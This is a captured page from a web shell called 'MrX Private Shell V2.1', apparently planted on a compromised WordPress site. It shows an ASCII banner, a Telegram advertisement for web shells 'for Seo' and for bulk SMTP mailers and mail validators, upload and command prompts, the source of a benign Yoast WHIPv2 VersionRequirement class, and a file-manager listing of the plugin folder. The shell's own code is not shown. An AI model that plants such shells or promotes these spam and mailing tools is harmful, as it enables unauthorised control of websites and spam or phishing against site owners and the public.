__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Yoast\WHIPv2;

use Yoast\WHIPv2\Exceptions\EmptyProperty;
use Yoast\WHIPv2\Exceptions\InvalidOperatorType;
use Yoast\WHIPv2\Exceptions\InvalidType;
use Yoast\WHIPv2\Exceptions\InvalidVersionComparisonString;
use Yoast\WHIPv2\Interfaces\Requirement;

/**
 * A value object containing a version requirement for a component version.
 */
class VersionRequirement implements Requirement {

	/**
	 * The component name.
	 *
	 * @var string
	 */
	private $component;

	/**
	 * The component version.
	 *
	 * @var string
	 */
	private $version;

	/**
	 * The operator to use when comparing version.
	 *
	 * @var string
	 */
	private $operator;

	/**
	 * Requirement constructor.
	 *
	 * @param string $component The component name.
	 * @param string $version   The component version.
	 * @param string $operator  The operator to use when comparing version.
	 */
	public function __construct( $component, $version, $operator = '=' ) {
		$this->validateParameters( $component, $version, $operator );

		$this->component = $component;
		$this->version   = $version;
		$this->operator  = $operator;
	}

	/**
	 * Retrieves the component name defined for the requirement.
	 *
	 * @return string The component name.
	 */
	public function component() {
		return $this->component;
	}

	/**
	 * Gets the components version defined for the requirement.
	 *
	 * @return string
	 */
	public function version() {
		return $this->version;
	}

	/**
	 * Gets the operator to use when comparing version numbers.
	 *
	 * @return string The comparison operator.
	 */
	public function operator() {
		return $this->operator;
	}

	/**
	 * Creates a new version requirement from a comparison string.
	 *
	 * @param string $component        The component for this version requirement.
	 * @param string $comparisonString The comparison string for this version requirement.
	 *
	 * @return VersionRequirement The parsed version requirement.
	 *
	 * @throws InvalidVersionComparisonString When an invalid version comparison string is passed.
	 */
	public static function fromCompareString( $component, $comparisonString ) {

		$matcher = '`
			(
				>=?     # Matches >= and >.
				|
				<=?     # Matches <= and <.
			)
			([^>=<\s]+) # Matches anything except >, <, =, and whitespace.
		`x';

		if ( ! \preg_match( $matcher, $comparisonString, $match ) ) {
			throw new InvalidVersionComparisonString( $comparisonString );
		}

		$version  = $match[2];
		$operator = $match[1];

		return new VersionRequirement( $component, $version, $operator );
	}

	/**
	 * Validates the parameters passed to the requirement.
	 *
	 * @param string $component The component name.
	 * @param string $version   The component version.
	 * @param string $operator  The operator to use when comparing version.
	 *
	 * @return void
	 *
	 * @throws EmptyProperty       When any of the parameters is empty.
	 * @throws InvalidOperatorType When the $operator parameter is invalid.
	 * @throws InvalidType         When any of the parameters is not of the expected type.
	 */
	private function validateParameters( $component, $version, $operator ) {
		if ( empty( $component ) ) {
			throw new EmptyProperty( 'Component' );
		}

		if ( ! \is_string( $component ) ) {
			throw new InvalidType( 'Component', $component, 'string' );
		}

		if ( empty( $version ) ) {
			throw new EmptyProperty( 'Version' );
		}

		if ( ! \is_string( $version ) ) {
			throw new InvalidType( 'Version', $version, 'string' );
		}

		if ( empty( $operator ) ) {
			throw new EmptyProperty( 'Operator' );
		}

		if ( ! \is_string( $operator ) ) {
			throw new InvalidType( 'Operator', $operator, 'string' );
		}

		$validOperators = array( '=', '==', '===', '<', '>', '<=', '>=' );
		if ( ! \in_array( $operator, $validOperators, true ) ) {
			throw new InvalidOperatorType( $operator, $validOperators );
		}
	}
}

Filemanager

Name Type Size Permission Actions
Configs Folder 0775
Exceptions Folder 0775
Facades Folder 0775
Interfaces Folder 0775
Messages Folder 0775
Presenters Folder 0775
Configuration.php File 1.58 KB 0775
Host.php File 2.67 KB 0775
MessageDismisser.php File 1.66 KB 0775
MessageFormatter.php File 839 B 0775
MessagesManager.php File 1.92 KB 0775
RequirementsChecker.php File 4.68 KB 0775
VersionRequirement.php File 3.76 KB 0775
WPDismissOption.php File 997 B 0775
WPMessageDismissListener.php File 1.76 KB 0775
Filemanager